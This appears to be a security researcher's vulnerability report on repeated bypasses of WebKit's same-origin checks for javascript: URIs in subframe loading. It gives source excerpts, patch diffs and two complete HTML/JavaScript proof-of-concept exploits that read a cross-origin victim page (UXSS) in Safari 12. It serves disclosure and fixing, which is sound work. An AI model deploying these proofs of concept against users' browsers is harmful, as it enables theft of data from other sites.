BACKGROUND
As lokihardt@ has demonstrated in https://bugs.chromium.org/p/project-zero/issues/detail?id=1121,
WebKit's support of the obsolete `showModalDialog` method gives an attacker the ability to perform
synchronous cross-origin page loads. In certain conditions, this might lead to
time-of-check-time-of-use bugs in the code responsible for enforcing the Same-Origin Policy. In
particular, the original bug exploited a TOCTOU bug in `SubframeLoader::requestFrame` to achieve
UXSS.
(copied from lokihardt's report)
```
bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList)
{
// Support for <frame src="javascript:string">
URL scriptURL;
URL url;
if (protocolIsJavaScript(urlString)) {
scriptURL = completeURL(urlString); // completeURL() encodes the URL.
url = blankURL();
} else
url = completeURL(urlString);
if (shouldConvertInvalidURLsToBlank() && !url.isValid())
url = blankURL();
Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); <<------- in here, the synchronous page load is made.
if (!frame)
return false;
if (!scriptURL.isEmpty())
frame->script().executeIfJavaScriptURL(scriptURL); <<----- boooom
return true;
}
```
The bug was fixed by inserting an extra access check right in front of the `executeIfJavaScriptURL`
call.
```
- if (!scriptURL.isEmpty())
+ if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL))
frame->script().executeIfJavaScriptURL(scriptURL);
```
It has stopped the original attack, but a year later https://bugs.webkit.org/show_bug.cgi?id=187203
was reported, which abused the HTML parser to bypass the added check. The problem was that
`isURLAllowed` didn't block `javascript:` URIs when the JavaScript execution context stack was
empty, i.e. when the `requestFrame` call was originating from the parser, so the exploit just needed
to make the parser insert an `iframe` element with a `javascript:` URI and use its `onload` handler
to load a cross-origin page inside `loadOrRedirectSubframe`.
As a result, another check has been added (see the comment below):
```
+ bool hasExistingFrame = ownerElement.contentFrame();
Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList);
if (!frame)
return false;
- if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL))
+ // If we create a new subframe then an empty document is loaded into it synchronously and may
+ // cause script execution (say, via a DOM load event handler) that can do anything, including
+ // navigating the subframe. We only want to evaluate scriptURL if the frame has not been navigated.
+ bool canExecuteScript = hasExistingFrame || (frame->loader().documentLoader() && frame->loader().documentLoader()->originalURL() == blankURL());
+ if (!scriptURL.isEmpty() && canExecuteScript && ownerElement.isURLAllowed(scriptURL))
frame->script().executeIfJavaScriptURL(scriptURL);
```
VULNERABILITY DETAILS
The second fix relies on the assumption that the parser can't trigger a `requestFrame` call for an
`iframe` element with an existing content frame. However, due to the way the node insertion
algorithm is implemented, it's possible to run JavaScript while the element's insertion is still in
progress:
https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/dom/ContainerNode.cpp#L185
```
static ALWAYS_INLINE void executeNodeInsertionWithScriptAssertion(ContainerNode& containerNode, Node& child,
ContainerNode::ChildChangeSource source, ReplacedAllChildren replacedAllChildren, DOMInsertionWork doNodeInsertion)
{
NodeVector postInsertionNotificationTargets;
{
ScriptDisallowedScope::InMainThread scriptDisallowedScope;
if (UNLIKELY(containerNode.isShadowRoot() || containerNode.isInShadowTree()))
containerNode.containingShadowRoot()->resolveSlotsBeforeNodeInsertionOrRemoval();
doNodeInsertion();
ChildListMutationScope(containerNode).childAdded(child);
postInsertionNotificationTargets = notifyChildNodeInserted(containerNode, child);
}
[...]
ASSERT(ScriptDisallowedScope::InMainThread::isEventDispatchAllowedInSubtree(child));
for (auto& target : postInsertionNotificationTargets)
target->didFinishInsertingNode();
[...]
```
Note that `HTMLFrameElementBase::didFinishInsertingNode` eventually calls `requestFrame`. So, if a
subtree which is being inserted contains multiple `iframe` elements, the first one can act as a
trigger for the JavaScript code that creates a content frame for another element right before its
`requestFrame` method is executed to bypass the `canExecuteScript` check. `isURLAllowed` again can
be tricked with the help of the HTML parser.
It's also worth noting that the `showModalDialog` method has to be triggered by a user gesture. On
the other hand, an attacker can't just wrap the exploit in a `click` event handler, as it would put
an execution context on the stack and make the `isURLAllowed` check fail. One way to overcome this
is to save a gesture token by performing an asynchronous load of a `javascript:` URI.
VERSION
Safari 12.0.3 (14606.4.5)
WebKit r243998
REPRODUCTION CASE
<body>
<h1>Click anywhere</h1>
<script>
let counter = 0;
function run() {
if (++counter == 2) {
parent_frame = frame.contentDocument.querySelector("iframe");
frame1 = parent_frame.appendChild(document.createElement("iframe"));
frame2 = parent_frame.appendChild(document.createElement("iframe"));
frame1.src = "javascript:top.runChild()";
}
}
let child_counter = 0;
function runChild() {
if (++child_counter == 2) {
parent_frame.appendChild(frame2);
a = frame2.contentDocument.createElement("a");
a.href = cache_frame.src;
a.click();
showModalDialog(URL.createObjectURL(new Blob([`
<script>
let intervalID = setInterval(() => {
try {
opener.frame.document.foo;
} catch (e) {
clearInterval(intervalID);
window.close();
}
}, 100);
</scr` + "ipt>"], {type: "text/html"})));
frame2.src = "javascript:alert(document.documentElement.outerHTML)";
}
}
onclick = _ => {
frame = document.body.appendChild(document.createElement("iframe"));
frame.contentWindow.location = `javascript:'<b><p><iframe`
+ ` src="javascript:top.run()"></iframe></b></p>'`;
}
cache_frame = document.body.appendChild(document.createElement("iframe"));
cache_frame.src = "http://example.com/"; // victim page URL
cache_frame.style.display = "none";
</script>
</body>
From WebKit's bugtracker:
Unfortunately, even though the patch from https://trac.webkit.org/changeset/244892/webkit
has blocked the original repro case because it relies on executing javascript: URIs synchronously,
the underlying issue is still not fixed.
Currently, `requestFrame` is implemented as follows:
bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList)
{
[...]
Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); // ***1***
if (!frame)
return false;
if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL)) {
// FIXME: Some sites rely on the javascript:'' loading synchronously, which is why we have this special case.
// Blink has the same workaround (https://bugs.chromium.org/p/chromium/issues/detail?id=923585).
if (urlString == "javascript:''" || urlString == "javascript:\"\"")
frame->script().executeIfJavaScriptURL(scriptURL);
else
frame->navigationScheduler().scheduleLocationChange(ownerElement.document(), ownerElement.document().securityOrigin(), scriptURL, m_frame.loader().outgoingReferrer(), lockHistory, lockBackForwardList, stopDelayingLoadEvent.release()); // ***2***
}
return true;
}
By the time the subframe loader schedules a JS URI load in [2], the frame might already contain a
cross-origin victim page loaded in [1], so the JS URI might get executed in the cross-origin
context.
Updated repro:
<body>
<h1>Click anywhere</h1>
<script>
let counter = 0;
function run(event) {
++counter;
if (counter == 2) {
event.target.src = "javascript:alert(document.documentElement.outerHTML)";
} else if (counter == 3) {
frame = event.target;
a = frame.contentDocument.createElement("a");
a.href = cache_frame.src;
a.click();
showModalDialog(URL.createObjectURL(new Blob([`
<script>
let intervalID = setInterval(() => {
try {
opener.frame.document.foo;
} catch (e) {
clearInterval(intervalID);
window.close();
}
}, 100);
</scr` + "ipt>"], {type: "text/html"})));
}
}
onclick = _ => {
frame = document.body.appendChild(document.createElement("iframe"));
frame.contentWindow.location = `javascript:'<b><p><iframe`
+ ` onload="top.run(event)"></iframe></b></p>'`;
}
cache_frame = document.body.appendChild(document.createElement("iframe"));
cache_frame.src = "http://example.com/"; // victim page URL
cache_frame.style.display = "none";
</script>
</body>
I'd recommend you consider applying a fix similar to the one that the Blink team has in
https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/html/html_frame_element_base.cc?rcl=d3f22423d512b45466f1694020e20da9e0c6ee6a&l=62,
i.e. using the frame's owner document as a fallback for the security check.
